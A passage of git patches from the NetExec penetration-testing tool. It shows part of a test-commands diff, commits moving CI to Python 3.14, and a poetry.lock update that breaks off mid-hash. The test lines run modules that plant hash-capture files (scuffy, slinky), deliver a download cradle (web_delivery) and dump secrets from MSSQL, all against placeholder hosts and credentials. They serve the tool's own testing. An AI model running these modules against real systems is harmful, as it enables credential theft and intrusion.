TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M safe_shares -o FILTER=WRITE -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M safe_shares -o EXCLUDE=IPC$,ADMIN$ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o SERVER=127.0.0.1 NAME=test netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o NAME=test CLEANUP=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky -o SERVER=127.0.0.1 NAME=test @@ -300,9 +297,9 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodu netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection -o HOST=localhost netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_cbt -netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql-dumper -netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql-dumper -o LIKE_SEARCH=test,secret -netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql-dumper -o REGEX=secret SHOW_DATA=False +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_dumper +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_dumper -o LIKE_SEARCH=test,secret +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_dumper -o REGEX=secret SHOW_DATA=False ##### RDP netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec {DNS} rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS From 8429767dd4893e6f775841560944df30ce3c9e68 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 11 Aug 2026 16:16:32 -0400 Subject: [PATCH 176/397] Update github cli to py3.14 --- .github/workflows/build-binaries.yml | 2 +- .github/workflows/build-zipapps.yml | 2 +- .github/workflows/lint.yml | 2 +- .github/workflows/test.yml | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/build-binaries.yml b/.github/workflows/build-binaries.yml index dac3a4d930..2442101ce1 100644 --- a/.github/workflows/build-binaries.yml +++ b/.github/workflows/build-binaries.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macOS-latest, macos-26-intel, windows-latest] - python-version: ["3.13"] + python-version: ["3.14"] #python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version steps: - uses: actions/checkout@v4 diff --git a/.github/workflows/build-zipapps.yml b/.github/workflows/build-zipapps.yml index e35b4f0472..9cc1b18ef5 100644 --- a/.github/workflows/build-zipapps.yml +++ b/.github/workflows/build-zipapps.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macOS-latest, windows-latest] - python-version: ["3.10", "3.11", "3.12", "3.13"] + python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"] steps: - uses: actions/checkout@v4 - name: NetExec set up python on ${{ matrix.os }} diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index 9f656a8dd2..ee847b5913 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -20,7 +20,7 @@ jobs: with: enable-cache: true - name: Set up Python - run: uv python install 3.13 + run: uv python install 3.14 - name: Install project with dev group run: uv sync --dev - name: Run ruff diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index e1e9003d6c..2c2566ed09 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -14,7 +14,7 @@ jobs: max-parallel: 5 matrix: os: [ubuntu-latest] - python-version: ["3.10", "3.11", "3.12", "3.13"] + python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"] steps: - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1 - name: Install uv From 85e6e625b17981792ffa5b1bc5802fc0c364fadf Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 11 Aug 2026 16:19:23 -0400 Subject: [PATCH 177/397] Update lock file --- poetry.lock | 1751 ++++++++++++++++++++++++--------------------------- uv.lock | 453 ++++++------- 2 files changed, 1062 insertions(+), 1142 deletions(-) diff --git a/poetry.lock b/poetry.lock index 56b4c16326..5dc90fec99 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2,45 +2,13 @@ [[package]] name = "aardwolf" -version = "0.2.13" +version = "0.2.14" description = "Asynchronous RDP protocol implementation" optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "aardwolf-0.2.13-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:2a2f79f774807ad2fe2aa702b32b8f98d9c7d8474761a235a9e42747a1ba7693"}, - {file = "aardwolf-0.2.13-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:23ecf64d1f2a28e6ece62d983373543f8f6d7273878d7f608d93c26448f49f99"}, - {file = "aardwolf-0.2.13-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ed3543fbdd99d568e31fd1418fc0b0d3939d0c8c8338a1b78ac5c282c8ef7fc"}, - {file = "aardwolf-0.2.13-cp310-cp310-win_amd64.whl", hash = "sha256:b9ffec598c4e0f7d3c7f5c5cf741d1639fba4091290a41730f5901d663158700"}, - {file = "aardwolf-0.2.13-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1b7b3bcbb0dc718daef2d89ec69560c6764f17962ca86721fe5de4838f855b23"}, - {file = "aardwolf-0.2.13-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c6185cccf51a98a5396edb5b1dba26b31080b15d7357a22f2e0d086590962a4e"}, - {file = "aardwolf-0.2.13-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fcbe77f0cc1cbe0e9a1b40669007c5b72e155099bc0f645b48ce843a09113db2"}, - {file = "aardwolf-0.2.13-cp311-cp311-win_amd64.whl", hash = "sha256:726eae2ace82a0f96608c74d6d393fb8c61d711ade232fecc662839c1bb148a7"}, - {file = "aardwolf-0.2.13-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:70e0f31d61dafffe8f19921c28bcb77909cb2c73f14c98cf6eb2fde42ce5de2d"}, - {file = "aardwolf-0.2.13-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:42aa2bb888127088a5f5ce29ca2acce33270afe15016ace16dfa373525fb9d6a"}, - {file = "aardwolf-0.2.13-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:df6298af95c2ede4886538d3f05ac32e6b7060d098c273fb119d70dd2140837d"}, - {file = "aardwolf-0.2.13-cp312-cp312-win_amd64.whl", hash = "sha256:f5d52440965b81eb824da7274d422b409637f825d0490e5a247a9da756df7358"}, - {file = "aardwolf-0.2.13-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d70d489d1b6b25100a70a2add0c14cfcbc82b9230a352307a53df4000208daa1"}, - {file = "aardwolf-0.2.13-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:49a6ba4d2c5571b39d0437fa2a691102fcd9e2ca97d17613d84bdd2695e59648"}, - {file = "aardwolf-0.2.13-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8ae112f0d05366407bcb67613c15a61f21f4cc48a487fb5091571321bc39d01b"}, - {file = "aardwolf-0.2.13-cp313-cp313-win_amd64.whl", hash = "sha256:e087a5d37406234a8938ebbf27cee7ab762ce73662deb90929f2bb047635ffd8"}, - {file = "aardwolf-0.2.13-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:10af6e0c8f46b9cdd325540c5819f1fb492f3c568080e2732390b2f1b93e7911"}, - {file = "aardwolf-0.2.13-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9be8a28b8fc9c14e35b403d6140e6e0ccaea640afb2e5697ed852a2ad9eff155"}, - {file = "aardwolf-0.2.13-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:eed655ccca5e9a44e9359e0637fb017c6e9719204d788ca1001767fb2ae8061d"}, - {file = "aardwolf-0.2.13-cp39-cp39-win_amd64.whl", hash = "sha256:1199e51f8dab19a5528df77e0afdb0648b867964c6327a12f27cfb756ef796a2"}, - {file = "aardwolf-0.2.13-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:66c599a792d67e7e22dfdfd83d440d6708cdbbd3e6d96a0f1f2367940a1271d3"}, - {file = "aardwolf-0.2.13-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:36ec601ba9376f933c760c712d3e35691b774029777c4e79f8c5abd37876df72"}, - {file = "aardwolf-0.2.13-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bd42b25029dfa88be08c63863bd6852d8e8afa31842a2f024070236138bbb8a1"}, - {file = "aardwolf-0.2.13-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:b344a4740ceb1064c5776e72960861b7b3c768c1daff7a737abd7f4d98dd5780"}, - {file = "aardwolf-0.2.13-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:5a3c0e40debad804a84d4cf88304a26e904b73193dcc2ff9ffe927a26aea9dfa"}, - {file = "aardwolf-0.2.13-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4377bc185dd4c4d119af7e029edd3eddb94858e0a024f3fe4b05ac8e57244a8a"}, - {file = "aardwolf-0.2.13-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:aef5e21ffd35b3d38cb9a8f54b53682d78084e63cc8b40fb891ce8b12b8402bb"}, - {file = "aardwolf-0.2.13-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:da6fcdf569fd8c9d65202f8446119739d375854702a38e2ae0ca7410b16c1aed"}, - {file = "aardwolf-0.2.13-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:74fac85b5c511eac74caadb07c94f40cafee4b7c5a09fdbcd0770390c2847493"}, - {file = "aardwolf-0.2.13-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0dfb2b81a485fb8c18a39c04e37c3e5a85dce6912d89baff5862fe4c6c31a3a1"}, - {file = "aardwolf-0.2.13-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7e4a62c570d7b9e254ca35107347e84eabb1857dadd7add55cbb789b72e4b62d"}, - {file = "aardwolf-0.2.13-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:69644602eb6e3c9dbe8ab8efc449bab634f087a82224070bfc9c389270b21bea"}, - {file = "aardwolf-0.2.13.tar.gz", hash = "sha256:95d186a162dbbade1f92b2ae659235c5cab42eff66c9528ad66c8c5c41b77eec"}, + {file = "aardwolf-0.2.14.tar.gz", hash = "sha256:360a1a3d046dc2814c2e58339939a8f311ae330c0d1d962790edf45d726af4a6"}, ] [package.dependencies] @@ -114,26 +82,26 @@ winacl = ">=0.1.9" [[package]] name = "annotated-types" -version = "0.7.0" +version = "0.8.0" description = "Reusable constraint types to use with typing.Annotated" optional = false -python-versions = ">=3.8" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53"}, - {file = "annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89"}, + {file = "annotated_types-0.8.0-py3-none-any.whl", hash = "sha256:f072f4d804ea359e4eaf198b1af7a8b0943881a87f31bb764f8bf219bb9419e0"}, + {file = "annotated_types-0.8.0.tar.gz", hash = "sha256:13b2beaad985e05e2d6407ee4c4f35590b11f8d693a258a561055cac8f64cab7"}, ] [[package]] name = "anyio" -version = "4.12.1" +version = "4.14.2" description = "High-level concurrency and networking framework on top of asyncio or Trio" optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "anyio-4.12.1-py3-none-any.whl", hash = "sha256:d405828884fc140aa80a3c667b8beed277f1dfedec42ba031bd6ac3db606ab6c"}, - {file = "anyio-4.12.1.tar.gz", hash = "sha256:41cfcc3a4c85d3f05c932da7c26d0201ac36f72abd4435ba90d0464a3ffed703"}, + {file = "anyio-4.14.2-py3-none-any.whl", hash = "sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494"}, + {file = "anyio-4.14.2.tar.gz", hash = "sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4313c7f"}, ] [package.dependencies] @@ -142,41 +110,37 @@ idna = ">=2.8" typing_extensions = {version = ">=4.5", markers = "python_version < \"3.13\""} [package.extras] -trio = ["trio (>=0.31.0) ; python_version < \"3.10\"", "trio (>=0.32.0) ; python_version >= \"3.10\""] +trio = ["trio (>=0.32.0)"] [[package]] name = "arc4" -version = "0.4.0" +version = "0.5.0" description = "A small and insanely fast ARCFOUR (RC4) cipher implementation of Python" optional = false python-versions = "*" groups = ["main"] files = [ - {file = "arc4-0.4.0-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:d27d6cb7fef8787c3cb91c06a6adb2315551f42af3b4142d45703d5303e6ad2b"}, - {file = "arc4-0.4.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f20540dd6ab695e6d1205a5edb4df416688ef39242cbbec4ad0b534e38ffe55f"}, - {file = "arc4-0.4.0-cp310-cp310-win_amd64.whl", hash = "sha256:cd9c4fc470019e184f72aacc5fdcb2a3364e7c174aaa6de2486ca18e9d377a5d"}, - {file = "arc4-0.4.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3cdae371789b621927866a1b10862ea20dbe519b1b86cb725ff2dd95525c704f"}, - {file = "arc4-0.4.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c0b9adcf7ab7ef7ca0ab60cf7e2dd8886fbc6610471ea9a8c7fb34416265451c"}, - {file = "arc4-0.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:9b9d14ed487f373c0d47b97262a3f26d6f03e725d640c4c230a51f5f3dd8a6b4"}, - {file = "arc4-0.4.0-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:45aba6a58fd8d83ec8fa14d8e99f686f9317667c19adca56c5eaa59aae630b3d"}, - {file = "arc4-0.4.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e2e52410c5dde5cd7a89eb32440ad94de99b6bb2d6c886a099455b71f68dee3"}, - {file = "arc4-0.4.0-cp37-cp37m-win_amd64.whl", hash = "sha256:be661d59b250e83753fd0aa7dfb0796f1475c19be929d581805e1a1c998fb959"}, - {file = "arc4-0.4.0-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:2104d551744e9b851a12c144b512244da224ab4f5f68ed28a45a599937ead1cd"}, - {file = "arc4-0.4.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:62ed00203dee645d99422a1dc1efdd5ca108048e8c047a239c3be0a690f6abb6"}, - {file = "arc4-0.4.0-cp38-cp38-win_amd64.whl", hash = "sha256:eb5eb33e3c68d68c548355aead25843502d3d1b909fa2e3b3f2520d467708af5"}, - {file = "arc4-0.4.0-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:779d1b53c75e66edd023b9240dbd00df7b241ab50b6a4ea86ab97117dbbff86f"}, - {file = "arc4-0.4.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b935c41b8691001b6a6746c2611a0a76962720a83688501dac8f3c74f9db4f34"}, - {file = "arc4-0.4.0-cp39-cp39-win_amd64.whl", hash = "sha256:f419c08cfb2cc8f374725a76dd8fd40d87b6a0e236774cb3307f2f51f6794c1f"}, - {file = "arc4-0.4.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:19d130ec333d9be891b156c02a4436b002ac486bc072644a453fabdfbe0354f8"}, - {file = "arc4-0.4.0-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e284d731da57f3c036c2497db47baf198057777f71670fe84d84347615df3e9f"}, - {file = "arc4-0.4.0-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:24d5aaf57494219651e15e260c4d3747c99764b94ea6fc46b09031c3ed2ef9d3"}, - {file = "arc4-0.4.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:b1c72ceaff1b366d25ca5945ed381a520a8116195b7a4b0a69aaccac3f00d7ae"}, - {file = "arc4-0.4.0-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9954ee25a0687b1076791ae92cacb20c152fad2bf5bdac608f4c9472d76e83f0"}, - {file = "arc4-0.4.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:15603d81bbb990038dfe7f7a424d16549161b2d5c1e216097cb065023895f398"}, - {file = "arc4-0.4.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:516e4fb4543e2a7c958b6fffb7658ba905b25b30af387b54c872418d87192fe6"}, - {file = "arc4-0.4.0-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8e5137eeb8f4c6f0c3bd23731c58359d554722b08119156058c99c337e78adb0"}, - {file = "arc4-0.4.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:3da0dd7b6dd38c71af105aebef42bf587a624a0b26231717f1dcc53f36ab14d6"}, - {file = "arc4-0.4.0.tar.gz", hash = "sha256:d431b53d11b24d62521dbbd06d755bf9d6d11a03cc7bbbdf37a13a12ee0747b6"}, + {file = "arc4-0.5.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:2a052f9934746d81917032a4f37b390577141c56b4445c7f85c52b1155fdbf9f"}, + {file = "arc4-0.5.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:83a1f1934c55256838aa40998b87777f881e81c2056af9734cdb35a84574488c"}, + {file = "arc4-0.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:631786051c1468d3ec1010d1fc1089b539831d72d7f08ea342bdcd25aa019620"}, + {file = "arc4-0.5.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:343a67c0bd2dcfdee78dc4269d8bd8ac362e6e911047833172468b337faccb1f"}, + {file = "arc4-0.5.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0ffd6df658cf4d348eebbd125e9dcd35fcfcb2efec31ff4258b85791b0207bad"}, + {file = "arc4-0.5.0-cp311-cp311-win_amd64.whl", hash = "sha256:6c20103a2ff7cd43b91d707fb520a3d10dac5b9ef647957a2d19fa3a05725be6"}, + {file = "arc4-0.5.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:7eb640302490f105c68336e763a9e8a9513377c46ad0a704c297d5d943f98831"}, + {file = "arc4-0.5.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7a3b4325e550a8bc2b56484edf91a983d2bd3f32fae8f169d5a5846a22554ea9"}, + {file = "arc4-0.5.0-cp312-cp312-win_amd64.whl", hash = "sha256:4d07b1aa184b78a6e10d1920dbe92644b4113b34062ad2869f450e678bb7ada6"}, + {file = "arc4-0.5.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ac5e9c3a589825afd31a10b6edd49bc8fe83ca88b4dc82dea6e977304304d36c"}, + {file = "arc4-0.5.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b8bcb09611b9e16a3f9d78b747c135386b59803a3fdecf4e7ff03eb3949e671b"}, + {file = "arc4-0.5.0-cp313-cp313-win_amd64.whl", hash = "sha256:6fb7f6a7b16bc6fc3ed1eefaaa201810edec0e7dc08683970b2be0699b401e39"}, + {file = "arc4-0.5.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:8c8ce5f81553956660eb845c9d8ecea3db1de358e2b5fdfd49ba5033da2c4b14"}, + {file = "arc4-0.5.0-cp39-cp39-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2aa709409fed2e7db2525c5b2022369067feb25a44723a14c90b629c9d2fa091"}, + {file = "arc4-0.5.0-cp39-cp39-win_amd64.whl", hash = "sha256:e6584f7a62bab998ef9a908307448cb62dee6555480da95a0c667e2d7372ab72"}, + {file = "arc4-0.5.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:cc0f6c9827d5f36a838cefbb3705ce1c6850df456d0e5b81c24733f857f3901d"}, + {file = "arc4-0.5.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:e3f9144cad18c4cdf8d02de1068504c045b29461c511963e4a495ffb61af1148"}, + {file = "arc4-0.5.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:ccbed58bff2ce25b45535173221091b86162727caca66f4e383221f8b306113a"}, + {file = "arc4-0.5.0-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:02435fe04cf147aff25a9be5380b16d6084f2469f51620b5fa3af936a6988c51"}, + {file = "arc4-0.5.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:0c47bb37a5b80abcb7043d6b206068e4fbc90d27564aa667b2e7d90b2e7ff2cc"}, + {file = "arc4-0.5.0.tar.gz", hash = "sha256:259d4e505766639b7245d7199f3b4e72134d7adf20196820ffd3015954d85955"}, ] [[package]] @@ -481,26 +445,26 @@ pycryptodome = "*" [[package]] name = "certifi" -version = "2026.2.25" +version = "2026.7.22" description = "Python package for providing Mozilla's CA Bundle." optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "certifi-2026.2.25-py3-none-any.whl", hash = "sha256:027692e4402ad994f1c42e52a4997a9763c646b73e4096e4d5d6db8af1d6f0fa"}, - {file = "certifi-2026.2.25.tar.gz", hash = "sha256:e887ab5cee78ea814d3472169153c2d12cd43b14bd03329a39a9c6e2e80bfba7"}, + {file = "certifi-2026.7.22-py3-none-any.whl", hash = "sha256:62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c992928483775"}, + {file = "certifi-2026.7.22.tar.gz", hash = "sha256:741e2c3b351ddf169a738da9f2c048608ff7f2c5cc02f1ebc6b118bb090d5d55"}, ] [[package]] name = "certihound" -version = "0.2.0" +version = "0.3.2" description = "Linux-native AD CS collector library for BloodHound CE - enumerate ADCS and export to BloodHound format" optional = false python-versions = ">=3.10" groups = ["main"] files = [ - {file = "certihound-0.2.0-py3-none-any.whl", hash = "sha256:771dc745a9e66c5f03b6c6a2c3574355b4c1a0a959c391ad57233599be2dfcf3"}, - {file = "certihound-0.2.0.tar.gz", hash = "sha256:fc8b3c357a91f8845bac34d91e7a8d644aa4d61db09d880249bb5e544a0a100a"}, + {file = "certihound-0.3.2-py3-none-any.whl", hash = "sha256:c68b6f8efde09843685b616772445f0d68bff0865f54df5b12f576c1eebd1edd"}, + {file = "certihound-0.3.2.tar.gz", hash = "sha256:b92a08e1bcf98771aecbc4ed7c78ec934ce8f4b34bd8127965114c14f936529d"}, ] [package.dependencies] @@ -513,6 +477,7 @@ rich = ">=13.0.0" [package.extras] dev = ["black (>=23.0.0)", "mypy (>=1.0.0)", "pytest (>=7.0.0)", "pytest-cov (>=4.0.0)", "ruff (>=0.1.0)"] +kerberos = ["gssapi (>=1.8.0) ; sys_platform != \"win32\"", "winkerberos (>=0.9.1) ; sys_platform == \"win32\""] [[package]] name = "certipy-ad" @@ -548,97 +513,113 @@ resolved_reference = "069e03113095aa02772aa3d8debea90654933fe4" [[package]] name = "cffi" -version = "2.0.0" +version = "2.1.1" description = "Foreign Function Interface for Python calling C code." optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["main"] markers = "platform_python_implementation != \"PyPy\"" files = [ - {file = "cffi-2.0.0-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44"}, - {file = "cffi-2.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49"}, - {file = "cffi-2.0.0-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c"}, - {file = "cffi-2.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb"}, - {file = "cffi-2.0.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0"}, - {file = "cffi-2.0.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4"}, - {file = "cffi-2.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453"}, - {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495"}, - {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5"}, - {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb"}, - {file = "cffi-2.0.0-cp310-cp310-win32.whl", hash = "sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a"}, - {file = "cffi-2.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739"}, - {file = "cffi-2.0.0-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe"}, - {file = "cffi-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c"}, - {file = "cffi-2.0.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92"}, - {file = "cffi-2.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93"}, - {file = "cffi-2.0.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5"}, - {file = "cffi-2.0.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664"}, - {file = "cffi-2.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26"}, - {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9"}, - {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414"}, - {file = "cffi-2.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = 